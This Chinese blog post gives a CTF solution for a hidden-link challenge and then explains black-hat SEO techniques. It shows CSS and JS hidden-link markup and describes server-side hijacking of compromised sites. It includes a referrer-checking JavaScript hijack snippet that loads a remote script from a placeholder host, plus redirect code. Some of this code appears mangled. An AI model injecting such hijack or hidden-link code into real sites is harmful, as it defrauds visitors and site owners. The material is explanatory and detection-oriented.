HTML前端代码分析(查看网站黑链的几种方法)暗链是什么意思

2024-05-07 03:40:05

暗链是什么意思呢?“暗链”就是看不见的网站​​链接,“暗链”在网站中的链接做得非常隐蔽,短时间内不易被搜索引擎察觉。它和友情链接有相似之处,可以有效地提高PR值。但要注意一点PR值是对单独页面,而不是整个网站。​​

HTML前端代码分析(暗链)  的题,解题思路如下:

1.开启靶场环境,看起来是一个静态页面

2.按照往常的套路,查看源代码

3.发现链接 http://192.168.1.1/19281028102.php

192.168.1.1貌似是是一个内网地址,无法访问   PS:也有人说是本地地址(可是本地地址不是127.1.1.0吗)

我们把192.168.1.1改成靶场的地址,访问后拿到KEY

4.这道题引起了我的好奇心,之前听别人说SEO和安全挂钩,那么就只可能是黑产了,暗链其实就是黑帽SEO的一种手法,于是上网找了相关资料:

黑产

乃法外之地,被丛林法则所支配。没有了第三方强制力量的保障和监督,在那个圈子里我们可以看到两个极端:想做大生意的往往极重信誉,而那些只想捞一票就走的则会肆无忌惮地黑吃黑。

自从有了seo,就有了黑帽seo。黑白帽的临界点没有标准,就像好人和坏人没有评判的标准。本文着重讲黑产中黑帽SEO的几个作弊手法。

1

暗链

暗链

也称为黑链,即隐蔽链接 hidden links,是黑帽SEO的作弊手法之一。在早期的SEO优化中,黑链是最有效最迅速的方法之一;但是现在百度算法已经对iframe和display:none 等直接进行了打击,如果你对代码没有任何处理的话,那么你所做的外链将全部降权。因此,目前黑帽SEO技术中,暗链已经用得不多,但还是有必要了解下这个经典的作弊手法。

挂暗链的目的很简单,增加网站外链,提高网站排名;实现方式主要分为几种:利用CSS实现、利用JS实现、利用DIV+JS实现,其他高级手法。

利用CSS实现挂暗链

display属性

将display属性设置为none,则页面上不显示此内容。

<divstyle="display:none;">

<ahref=http://thief.one/>暗链 </a>

</div>

分析:这种形式以前效果较好,现在不建议使用,易被搜索引擎察觉。

color/font-size/line-height属性

将color颜色设置与页面背景色一样,大小设置为小于或等于1。

<ahref=http://thief.onestyle="color:#FFFFFF;font-size:1px;line-height:1px ;">暗链 </a>

分析:最初级的隐蔽链接,易被搜索引擎察觉。

position属性

将position位置属性设置成负数,使内容位于页面可见范围以外。

一种写法:

<divstyle="position: absolute; top: -999px;left: -999px;"><ahref=http://thief.one>暗链 </a></div>

另一种写法

<divstyle="position:absolute;left:expression_r(1-900);top:expression_r(3-999);"><ahref=http://thief.one>暗链 </a></div>

分析:以上2种写法,都是将内容放到可见范围以外,容易被搜索引擎识别。

marquee属性

设置marquee滚动标签属性,使之快速闪现。

<marqueeheight=1width=5scrollamount=3000scrolldelay=20000><ahref=http://thief.one>暗链 </a></marquee>

分析:链接以赛马灯形式迅速闪现,这种形式以前效果较好,现在不建议使用。

利用JS实现挂暗链

利用js向页面中写入css代码,设置属性。

<script language="javascript" type="text/javascript">document.write("<div style='display:none;'>");</script><div><a href=http://thief.one>暗链</a><script language="javascript" type="text/javascript">document.write("</div>");</script>

分析:js输出前面提到的css代码,到达一样的效果。目前来说Google对这种js形式的代码的内部实质意义还无法识别,但也不建议使用这种。

利用DIV+JS实现挂暗链

利用div与js功能,修改属性。

<div id="anlian"><a href="http://thief.one">暗链</a></div><script language=javascript>document.getElementById("anlian").style.display="none"</script>

分析:这是一种DIV与JS结合做黑链的一种常见方法,蜘蛛一般不会读取的内容,只会读取div里的链接,可是div的显示属性却被修改了。

挂暗链高级姿势

<div class="father" style="position:relative">  <div class="topLever" style="position:absolute;left:0;top:0;z-index:999; width:90%;height:100px;border:1px solid #333;background:#eee">遮挡层:可以放图片或者Flash</div>  <div class="hideDontent">隐蔽层:可以放暗链链接</div></div>

分析:这种方式一般是放在Flash、图片或者其它层对象下方。这个代码是用父层相对定位,子层用绝对定位固定住以用来遮挡下面的隐蔽层内的暗链内容。

2

网页劫持

网页劫持

是目前黑帽SEO或者说黑产最喜欢的一种网页引流方式,此手法往往通过入侵政府、教育机构网站(权重高),修改网站源代码、放寄生虫程序、设置二级目录反向代理等实现。网页劫持可以分为服务端劫持、客户端劫持、百度快照劫持、百度搜索劫持等等;表现形式可以是劫持跳转,也可以是劫持呈现的网页内容,目前被广泛应用于私服、博彩等暴利行业。

服务端劫持

服务端劫持也称为全局劫持,手法为修改网站动态语言文本,判断访问来源控制返回内容,从来达到网站劫持的目的。

asp/aspx/php劫持

Global.asa、Global.asax、conn.asp、conn.php等文件比较特殊,作用是在每次执行一个动态脚本的时候,都会先加载该脚本, 然后再执行目标脚本。所以只要在 Global.asa 中写判断用户系统信息的代码(访问来源等),如果是蜘蛛访问则返回关键词网页(想要推广的网站),如果是用户访问,则返回正常页面。

客户端劫持

客户端劫持的手法也很多,但主要就是2种:js劫持、Header劫持。

js劫持

js劫持目的:通过向目标网页植入恶意js代码,控制网站跳转、隐藏页面内容、窗口劫持等。

js植入手法:可以通过入侵服务器,直接写入源代码中;也可以写在数据库中,因为有些页面会呈现数据库内容。

js劫持案例

效果:通过搜索引擎搜索点击页面(执行一段js)跳转到博彩页面;直接输入网址访问网页,跳转到404页面。

代码:

today=new Date();

today=today.getYear()+ "-"+(today.getMonth()+1)+ "-"+today.getDate();

var regexp=/.

(sogou|so|haosou|baidu|google|youdao|yahoo|bing|gougou|118114|vnet|360|ioage|sm|sp)(.[a-z0-

9-]+){1,2}//ig;

var where =document.referer;

if(regexp.test(where)){

document.write ('< language= "java"type= "text/java"

src= "http://www.xxx.com/test.js"></>');

}

else

{

window.location.href= "../../404.htm";

}

分析:通过referer判断来路,如果referer来路为空就是跳转到404页面,如果是搜索引擎来的referer里面也会有显示,然后在写代码控制跳转。如果只是控制实现显示不同的内容,可以修改php、asp代码;如果需要劫持搜索引擎搜索框,可以写JS代码来做浏览器本地跳转。当然js功能可以无限扩展,比如可以控制一个ip一天内第一次访问正常,其余访问跳转等等。

header劫持

在源代码中写入以下代码:

<metahttp-equiv=“refresh“content=“10;url=http://thief.one“>

利用的就是Meta Refresh Tag(自动转向),将流量引走。

手法对比

客户端劫持与服务端区别

客户端劫持:每次访问网页从服务端获取到的网页代码都是相同的,只是控制了网页代码在浏览器中呈现的效果(比如是否进行跳转等)。

服务端劫持:改变了每次访问网页从服务端获取到的网页代码。

客户端劫持与服务端判断方法

客户端劫持的判断方法:只需观察浏览器呈现的网页前端代码,查看是否引用了不当的js,或者其它敏感内容。

服务端劫持的判断方法:可以通过观察网站后端代码,或者通过改变ip,包头等方式,观察放回源码是否不同。

3

页面跳转

想要更深入地了解黑帽SEO,就必须先了解关于网站的一些基础知识,以及黑帽SEO常见的作弊手法。其中页面跳转便是作弊手法之一,最近我收集了一些关于页面跳转的相关内容,在此汇总分享。

页面跳转分类

服务端跳转

一般用户不会感觉到跳转的实际行为,往往通过代码去控制,因此有些时候我们也不叫做跳转。具体的服务端跳转行为有很多,各个语言技术都有各自的特点。

客户端跳转

客户端跳转分为:http层跳转,应用层跳转。

应用层跳转分为:html head跳转,js跳转等。

1.http层跳转

http跳转是指server根据工作情况通过http返回状态码,利用http的重定向协议指示客户端浏览器跳转到相应页面的过程,一般返回码是302。

2.html head跳转(HTML refresh)

在html代码的head中添加特殊标签,如下

<metahttp-equiv="refresh"content="5"; url="http://thief.one/"/>

表示:5秒之后转到One Thief首页,这个跳转需要浏览器具体解析html后采能进行。

3.js跳转

通过在html代码中添加js代码,通过js代码实现跳转:

<script language=”javascript” type=”text/javascript”>window.location.href=”login.jsp?backurl=”+window.location.href;</script>

这个跳转应该比html head跳转更向后延迟。

各种跳转包含关系

服务端跳转

客户端跳转

http跳转

应用层跳转

html head跳转

html js跳转

最后我们总结下

明链、暗链、黑链分别是什么意思

明链:就是光明正大的链接,一般明链讲的就是买的友情链接,是在对方网站上看到链接到自己网站的链接。暗链:可以是自己做在网站上做的隐秘外链。因为字体跟背景同一颜色,所以我们的看不见,而搜索引擎是能分辨的就称暗链。在搜索引擎而言,这是违规的做法黑链:讲的是买的友情链接而且是隐藏的暗链,要从代码才看得见的链接。不建议买黑链,搜索引擎发现就会导致降权。

HTML前端代码分析(查看网站黑链的几种方法)暗链是什么意思相关推荐

  1. 查看网站黑链的几种方法

    众所周知,黑链属于seo黑帽中的一个手段,是黑客利用非法入侵其他网站植入隐蔽性链接,比起正常购买链接,因为其价格便宜而流行,当然因为黑链随时可能被站长删除,所以这样的外链有不稳定性,不过对于那些通过暴 ...

  2. php如何防止图片盗用/盗链的两种方法(转)

    图片防盗链有什么用? 防止其它网站盗用你的图片,浪费你宝贵的流量.本文章向大家介绍php防止图片盗用/盗链的两种方法 Apache图片重定向方法 设置images目录不充许http访问 Apache服 ...

  3. 伤疤好了有黑印怎么办_脸上疤掉了黑印怎么办 五种方法去除黑印

    脸上疤掉了黑印怎么办 五种方法去除黑印更新时间:2018-04-02 核心提示: 脸上疤掉了之后就会留下黑色痘印,黑色痘印长时间留在脸上,自然也会让人们感觉到非常心烦,并且也会极大的影响到容貌,所以我 ...

  4. 获取网站 favicon.ico 的三种方法

    获取网站 favicon.ico的三种方法 方法一: 直接在网站网址后面加favicon.ico 例如:https://www.baidu.com/favicon.ico (有一些网站可能会直接跳转到 ...

  5. 前端js调用后端API获取数据的三种方法(2022.7.25)

    前端js调用后台API获取数据的三种方法(2022.7.25) 前言 需求分析 一个Get实例 浏览器请求 SoapUI软件请求 一个Post实例 浏览器请求 SoapUI软件请求 1.Http简介( ...

  6. 查看计算机.net环境版本,windows7系统查看NET Framework版本的两种方法

    现在,很多用户都会在电脑中安装NET Framework,因为一些程序需要NET Framework才能运行.那么,如果想要查看我们计算机中的 NET Framework版本,该如何操作呢?接下来,就 ...

  7. 联想微型计算机电脑黑屏怎么做系统,联想电脑黑屏怎么办,5种方法轻松排除黑屏故障...

    对于许多用户来说,电脑黑屏是一种很常用的故障,而电脑黑屏一般是因为硬件损毁.系统不相容或显示卡驱动经常出现问题才造成的,那么,应当如何解决问题呢?下面我们就以联想起电脑为例来详尽讲解一下:联想起电脑黑 ...

  8. 计算机怎么看显卡内存容量,Win10系统显卡显存大小怎样查看?Win10查看显存大小的两种方法...

    对于十分关心电脑配置的用户而言,查看电脑显卡显存大小是一件非常必要的事情.那么,Win10系统电脑该怎样查看显卡显存大小呢?虽然现在有很多软件都可以直接查看,但是不使用软件查看才是真正的好方法.下面, ...

  9. 计算机配置高低怎么看,怎么查看电脑配置?(查看电脑配置高低的三种方法!)...

    电脑配置的高低直接影响着使用电脑时候的体验度,要是配置过低,电脑用起来就会很卡,稍微打开大一点的程序或者多开几个网页就卡死,非常不好用,那么,怎么查看电脑配置呢?电脑配置多高才合适呢?下面来告诉你. ...

  10. 查看笔记本电池健康度的两种方法和电池报告解析

    查看笔记本电池健康度的两种方法和电池报告解析 概述 1. 通过CMD命令查看笔记本电脑电池的健康度 1.1 "WIn+R",输入 CMD 1.2 在 CMD 中输入以下命令 ==* ...

最新文章

  1. linux支持hd610显卡吗,HD610相当于什么显卡 HD610和HD630的区别 (全文)
  2. 你知道这些 985、211 院校的隶属吗?
  3. golang中的权限
  4. C#使用Aspose.Words操作word文档(利用模板2)
  5. Python制作回合制手游外挂简单教程(下)
  6. [剑指offer]面试题第[2]题[JAVA][替换空格][函数][字符串]
  7. 原博客文章(Apache初配2008/4/8)
  8. 此加载项为此计算机的所有用户安装_MDI Jade 6.5软件安装教程
  9. JavaScript 颜色梯度和渐变效果
  10. python colorama_Python常用模块—— Colorama模块
  11. 【全套完结】数字电子技术基础——全套实验手册及仿真工艺实习【建议保存】
  12. 8张图学习大型网站技术架构(转)
  13. 考研倒计时一幕刷屏!网友:这一定是最接近梦想的人!
  14. Word文档字间距怎么调?
  15. 值得看三次的高干文_5本精彩的高干文推荐,本本是经典,值得刷三遍以上!...
  16. ictclas java 下载,10分钟开始使用ICTCLAS Java版
  17. 硬件找工作笔试题、面试题,求职offer指导规划
  18. jQuery发送ajax请求
  19. java 一周前日期_java获取当前时间前一周、前一月、前一年的时间
  20. 五步移相法matlab程序_基于结构光的相移法三维重建matlab

热门文章

  1. fatal error: opencv2/opencv.hpp: 没有那个文件或目录
  2. 展锐sc8541E多媒体网络摄像播放-液晶驱动一体板
  3. python调用通达信函数用户指标_通达信自定义指标调用
  4. wepy集成colorui 样式框架
  5. mysql可视化界面创建表_mysql安装及可视化界面
  6. 计算机网络课程设计小型企业局域网的组建,计算机网络课程设计小型企业局域网的组建.doc...
  7. 【JAVA】学生信息管理系统
  8. [转载]辐射定标、辐射校正、几何校正的区别
  9. Google Earth Engine——Landsat (数据介绍)GEE数据到底是否满足几何和辐射校正?
  10. HTML5期末大作业:运动系列——NBA篮球主题学生网页设计(7个页面) HTML+CSS+JavaScript 体育网页设计HTML代码 学生网页课程设计期末作业下载 大学生网页设计制作成...